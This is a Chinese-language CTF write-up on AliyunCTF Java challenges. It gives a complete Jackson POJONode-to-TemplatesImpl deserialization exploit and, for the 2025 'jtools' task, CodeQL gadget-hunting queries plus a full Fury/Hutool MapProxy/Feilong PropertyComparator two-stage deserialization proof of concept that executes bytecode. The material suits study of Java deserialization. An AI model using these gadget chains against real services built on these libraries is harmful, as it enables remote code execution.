AliyunCTF 中的那些 Java(未完待续)
阿里作为国内 Java业务规模最大、技术生态最深、对Java社区贡献最强的公司 ,从我还没入门 java 安全就有所耳闻,体现在赛题上几乎都代表着当年难度最高的那一档,同时不少知识也在实战中得到发光发热,各种利用链的构造,RASP 绕过,security patch 的 bypass 。在今年的阿里云 CTF 中,我遗憾地选择了一个有希望但是最后还是棋差一招的题目,最后以一题之差没有晋级,恰好这段时间在准备面试(不过似乎除了业务相关,已经很少人再问这些了,可能我确实错过了以前的热潮,感觉现在不如去研究一些 ai 安全或者相关的前端安全等等),略微写一些个人觉得很难忘的题目,有一些是以前写的不完善的,不过现在有些题目看起来已经容易被 llm 或者新的漏洞解决了。
2023-bypassIt
最知名的一个利用方法,促成了后续许多链子的构造,比如联系到二次反序列化和 spring 反序列化链子等。
利用 Jackson 的 POJONode 的特性,在 toString 时会跟 Fastjson 一样,调用 getter 和 setter,那么就可以构造 BadAttributeValueExpException 这条链子,toString 后触发 TemplatesImpl
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws Exception {
patchJacksonWriteReplace();
TemplatesImpl templates = templatesImplLocalWindows("calc");
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(bad, pojoNode);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bad);
oos.close();
byte[] payload = baos.toByteArray();
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(payload)));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
ois.readObject();
}
public static void patchJacksonWriteReplace() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass baseJsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = baseJsonNode.getDeclaredMethod("writeReplace");
baseJsonNode.removeMethod(writeReplace);
baseJsonNode.toClass(Thread.currentThread().getContextClassLoader(), null);
}
public static TemplatesImpl templatesImplLocalWindows(String command) throws CannotCompileException, IOException, NoSuchFieldException, InstantiationException, IllegalAccessException {
String cm = "\""+command+"\"";
return createTemplatesImpl(cm);
}
public static TemplatesImpl createTemplatesImpl(String cmd)throws CannotCompileException, IOException, IllegalAccessException, NoSuchFieldException{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Squirt1e");
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec("+cmd+");");
byte[] code1 = cc.toBytecode();
byte[] code2 = ClassPool.getDefault().makeClass("Squirtle").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
return templates;
}
public static void setFieldValue(Object obj1,String str,Object obj2) throws NoSuchFieldException, IllegalAccessException {
Field field2 = obj1.getClass().getDeclaredField(str);
field2.setAccessible(true);
field2.set(obj1, obj2);
}
}2024-chain17
感觉直接被现在的 agent 秒了,暂时先不写
2025-jtools
这个题算是一个我入门 codeql 比较好的题目
环境搭建
反编译 JTools.jar
tools/codeql/tools/linux64/java/bin/java \
-jar downloads/cfr.jar \
JTools/JTools.jar \
--outputdir src/jtools-decompiled \
--silent true反编译后共得到 4940 个 Java 文件,入口类位于:
src/jtools-decompiled/com/app/Server.java创建 CodeQL 数据库
因为输入是反编译源码,不需要重新编译成功,所以使用 Java 的 --build-mode none:
HOME=/CTF/jtools/codeql-home \
tools/codeql/codeql database create db/jtools \
--language=java \
--source-root src/jtools-decompiled \
--build-mode none \
--overwrite这里设置 HOME=/CTF/jtools/codeql-home 是为了让 CodeQL 编译缓存写到工作区。否则默认会写 /root/.codeql,在一些受限环境里会遇到只读文件系统问题。
题目分析
fury 反序列化,
requireClassRegistration(false),说明 Fury 允许反序列化未注册类。- 反序列化完成后会调用返回对象的
toString()。
如果没有 data 参数,服务会读取 /tmp/desc.txt 返回,所以最终命令执行可以把结果写到这个文件里,再直接访问根路径读取。

思路是把可序列化类里的 get*、set*、toString 当 source,把 lookup、readObject、newInstance 一类方法当 sink,然后看方法调用图上是否存在可达路径。
import java
class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}
class GetterOrToString extends SerializableMethod {
GetterOrToString() {
(
this.isPublic() and
this.hasNoParameters() and
(
this.getName().matches("get%") or
this.getName().matches("is%") or
this.hasName("toString")
)
)
}
}
class DangerousMethod extends SerializableMethod {
DangerousMethod() {
exists(MethodCall call |
call.getCaller() = this and
(
(
call.getCallee().hasName("lookup") and
call.getCallee().getDeclaringType().getASupertype*()
.hasQualifiedName("javax.naming", "Context")
)
or call.getCallee().hasName("readObject")
or (
call.getCallee().hasName("newInstance") and
call.getCallee().getNumberOfParameters() = 1
)
)
)
}
}
query predicate edges(Method a, Method b) {
a.polyCalls(b)
}
from GetterOrToString source, DangerousMethod sink
where edges+(source, sink)
select source, source, sink,
"$@.$@ can reach $@.$@",
source.getDeclaringType(), source.getDeclaringType().getName(),
source, source.getName(),
sink.getDeclaringType(), sink.getDeclaringType().getName(),
sink, sink.getName()这一步能注意到两个方向:
- Feilong 里有
com.feilong.core.util.comparator.PropertyComparator,行为和 CommonsBeanutils 的BeanComparator很像。 - Hutool 里有
MapProxy,它是InvocationHandler,可以通过代理接口的 getter 从 map 里取值,并做类型转换。

getter 触发点:Feilong PropertyComparator
PropertyComparator.compare 的核心逻辑如下:
Object v1 = PropertyUtil.getProperty(o1, propertyName);
Object v2 = PropertyUtil.getProperty(o2, propertyName);它是 Comparator,因此可以放进 PriorityQueue。JDK 反序列化 PriorityQueue 时会进行堆调整,进而触发:
PriorityQueue.readObject
-> heapify
-> siftDownUsingComparator
-> comparator.compare
-> PropertyComparator.compare
-> PropertyUtil.getProperty如果队列里的对象是一个 JDK 动态代理,PropertyUtil.getProperty(proxy, "wrapper") 会触发代理对象的 getter,例如 getWrapper()。
Hutool MapProxy 的关键逻辑
cn.hutool.core.map.MapProxy 同时实现了 InvocationHandler 和 Serializable。它的 invoke 方法逻辑大致是:
if (method has no parameter && return type != void) {
String methodName = method.getName();
if (methodName.startsWith("get")) {
field = removePreAndLowerFirst(methodName, 3);
} else if (return type is boolean && methodName.startsWith("is")) {
field = removePreAndLowerFirst(methodName, 2);
}
if (field is not blank) {
if (!containsKey(field)) {
field = StrUtil.toUnderlineCase(field);
}
return Convert.convert(method.getGenericReturnType(), get(field));
}
}也就是说,只要能找到一个接口:
- 有无参 getter;
- getter 返回值不是
void; - 返回类型会让
Convert.convert(type, value)进入二次反序列化逻辑; - getter 对应字段名可控;
就能让 MapProxy 从内部 map 取出攻击者准备的值并继续转换。
先找所有接口上的 getter:
import java
from Method m, Interface iface
where
m.getDeclaringType() = iface and
(m.getName().matches("get%") or m.getName().matches("is%")) and
m.hasNoParameters() and
m.getName().length() > 3 and
not m.getReturnType().hasName("void")
select m, iface.getName(), m.getReturnType()这个结果很多,需要继续筛选。MapProxy 还支持 setter 和字段名映射,所以可以优先找“getter + setter 成对出现”的接口:
import java
from Method getter, Interface iface
where
getter.getDeclaringType() = iface and
getter.getName().matches("get%") and
getter.hasNoParameters() and
not getter.getReturnType().hasName("void") and
exists(Method setter |
setter.getDeclaringType() = iface and
setter.getName() = "set" + getter.getName().suffix(3) and
setter.getNumberOfParameters() = 1 and
setter.getReturnType().hasName("void")
)
select getter, iface.getName(), getter.getReturnType()
复现时可用的结果之一是:
cn.hutool.db.dialect.Dialect.getWrapper()
return type: cn.hutool.db.sql.Wrapper
field name: wrapperDialect 是接口,继承了 Serializable,并且有:
Wrapper getWrapper();
void setWrapper(Wrapper wrapper);所以可以构造:
Map map = new HashMap();
map.put("wrapper", secondStageBytes);
MapProxy handler = new MapProxy(map);
Dialect p1 = (Dialect) Proxy.newProxyInstance(
Dialect.class.getClassLoader(),
new Class[]{Dialect.class},
handler
);当 PropertyComparator("wrapper") 取属性时,就会触发 Dialect.getWrapper(),进入 MapProxy.invoke。
接下来只关心 sink:哪些地方会从可控参数进入 Java 原生反序列化。粗筛可以写:
import java
class DeserializeSinkCaller extends Method {
DeserializeSinkCaller() {
exists(MethodCall call |
call.getCaller() = this and
(
call.getCallee().hasName("readObject") or
(
call.getCallee().hasName("readObj") and
call.getCallee().getDeclaringType()
.hasQualifiedName("cn.hutool.core.io", "IoUtil")
) or
(
call.getCallee().hasName("deserialize") and
call.getCallee().getDeclaringType()
.hasQualifiedName("cn.hutool.core.util", "ObjectUtil")
)
)
) and
not this.getQualifiedName().matches("com.feilong.lib%")
}
}
from DeserializeSinkCaller sink
select sink, sink.getDeclaringType()
结合字节码可以确认 Hutool 的转换链:
MapProxy.invoke
-> Convert.convert(method.getGenericReturnType(), map.get(field))
-> ConverterRegistry.convert
-> BeanConverter.convert
-> BeanConverter.convertInternal
-> ObjectUtil.deserialize(byte[])
-> SerializeUtil.deserialize(byte[])
-> IoUtil.readObj(...)
-> ValidateObjectInputStream.readObject()BeanConverter.convertInternal 里最关键的分支是:
if (value instanceof byte[]) {
return ObjectUtil.deserialize((byte[]) value);
}因此 map.put("wrapper", bytes) 里的 bytes 就是第二阶段 Java 原生反序列化数据。
CodeQL 查找二次反序列化 sink
上面的 sink 查询只能说明存在反序列化点,不能说明参数可控。可以再写一个数据流查询,把 InvocationHandler.invoke 的参数和 MapProxy.map.get(field) 作为 source,ObjectUtil.deserialize / IoUtil.readObj 的参数作为 sink。
import java
import semmle.code.java.dataflow.DataFlow
import DataFlow::PathGraph
module MapProxyToDeserializeConfig implements DataFlow::ConfigSig {
predicate isSource(DataFlow::Node source) {
exists(MethodCall call |
call.getCaller().getDeclaringType().hasQualifiedName("cn.hutool.core.map", "MapProxy") and
call.getCallee().hasName("get") and
call.getCallee().getDeclaringType().hasQualifiedName("java.util", "Map") and
source.asExpr() = call
)
}
predicate isSink(DataFlow::Node sink) {
exists(MethodCall call |
sink.asExpr() = call.getAnArgument() and
(
(
call.getCallee().hasName("deserialize") and
call.getCallee().getDeclaringType()
.hasQualifiedName("cn.hutool.core.util", "ObjectUtil")
) or
(
call.getCallee().hasName("readObj") and
call.getCallee().getDeclaringType()
.hasQualifiedName("cn.hutool.core.io", "IoUtil")
)
)
)
}
}
module MapProxyToDeserializeFlow =
DataFlow::Global<MapProxyToDeserializeConfig>;
from MapProxyToDeserializeFlow::PathNode source,
MapProxyToDeserializeFlow::PathNode sink
where MapProxyToDeserializeFlow::flowPath(source, sink)
select sink.getNode(), source, sink, "MapProxy map value reaches deserialize sink."这条查询用于确认:MapProxy 从 map 中取出的值可以一路传到二次反序列化 sink。

最终 payload 是两层:
第一层是 Fury 反序列化对象,用于触发 PriorityQueue:
Fury.deserialize(data)
-> PriorityQueue
-> PropertyComparator("wrapper")
-> proxy Dialect.getWrapper()
-> MapProxy.invoke第二层是塞在 MapProxy.map["wrapper"] 里的 Java 原生序列化数据:
MapProxy.map["wrapper"] = ObjectUtil.serialize(secondQueue)
secondQueue:
PriorityQueue
-> PropertyComparator("outputProperties")
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> bytecodes 执行整体调用链:
Server.lambda$main$0
-> Fury.deserialize
-> Object.toString
-> PriorityQueue.readObject / heapify
-> PropertyComparator.compare
-> PropertyUtil.getProperty(proxy, "wrapper")
-> Dialect.getWrapper()
-> MapProxy.invoke
-> Convert.convert(Wrapper.class, byte[])
-> BeanConverter.convertInternal
-> ObjectUtil.deserialize(byte[])
-> IoUtil.readObj
-> second PriorityQueue.readObject
-> PropertyComparator.compare
-> TemplatesImpl.getOutputProperties
-> TemplatesImpl.newTransformerpayload ,这里粘贴朋友 Aecous 作者的了
package com.app;
import cn.hutool.core.map.MapProxy;
import cn.hutool.core.util.ObjectUtil;
import cn.hutool.db.dialect.Dialect;
import com.feilong.core.util.comparator.PropertyComparator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception {
//二次反序列化数据
Object templates1 = getTemplates(Files.readAllBytes(Paths.get("/Users/Aecous/Documents/program/java/JavaUtils/target/classes/com/test/calc.class")));
Object templates2 = getTemplates(Files.readAllBytes(Paths.get("/Users/Aecous/Documents/program/java/JavaUtils/target/classes/com/test/calc.class")));
PropertyComparator beanComparator = new PropertyComparator("outputProperties");
PriorityQueue priorityQueue1 = new PriorityQueue(2,beanComparator);
setValue(priorityQueue1,"size",2);
Object[] t = {templates1,templates2};
setValue(priorityQueue1,"queue",t);
byte[] decode = ObjectUtil.serialize(priorityQueue1);
//存入hashmap中
HashMap hashMap = new HashMap();
hashMap.put("wrapper",decode);
MapProxy mapProxy1 = new MapProxy(hashMap);
Dialect o = (Dialect)Proxy.newProxyInstance(Dialect.class.getClassLoader(), new Class[]{Dialect.class}, mapProxy1);
Dialect o1 =(Dialect) Proxy.newProxyInstance(Dialect.class.getClassLoader(), new Class[]{Dialect.class}, mapProxy1);
// //需要触发的getter
PropertyComparator propertyComparator = new PropertyComparator("wrapper");
PriorityQueue priorityQueue = new PriorityQueue(2,propertyComparator);
setValue(priorityQueue,"size",2);
Object[] objectsjdk = {o,o1};
setValue(priorityQueue,"queue",objectsjdk);
// String serialize = serialize(priorityQueue);
// unserialize(serialize);
String poc = furyserialize(priorityQueue);
furyunserialize(poc);
}
public static void furyunserialize(String data){
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
Object deserialize = fury.deserialize(Base64.getDecoder().decode(data));
// result = deserialize.toString();
}
public static String furyserialize(Object data){
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
byte[] serialize = fury.serialize(data);
return Base64.getEncoder().encodeToString(serialize);
}
public static void unserialize(String exp) throws IOException, ClassNotFoundException {
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "_");
setValue(templates, "_tfactory", new TransformerFactoryImpl()); //这里自己改呗
return templates;
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}
}2026-staircase
太痛了,后续再写,2026的题都挺复杂的,没有 llm 的话几乎做不了感觉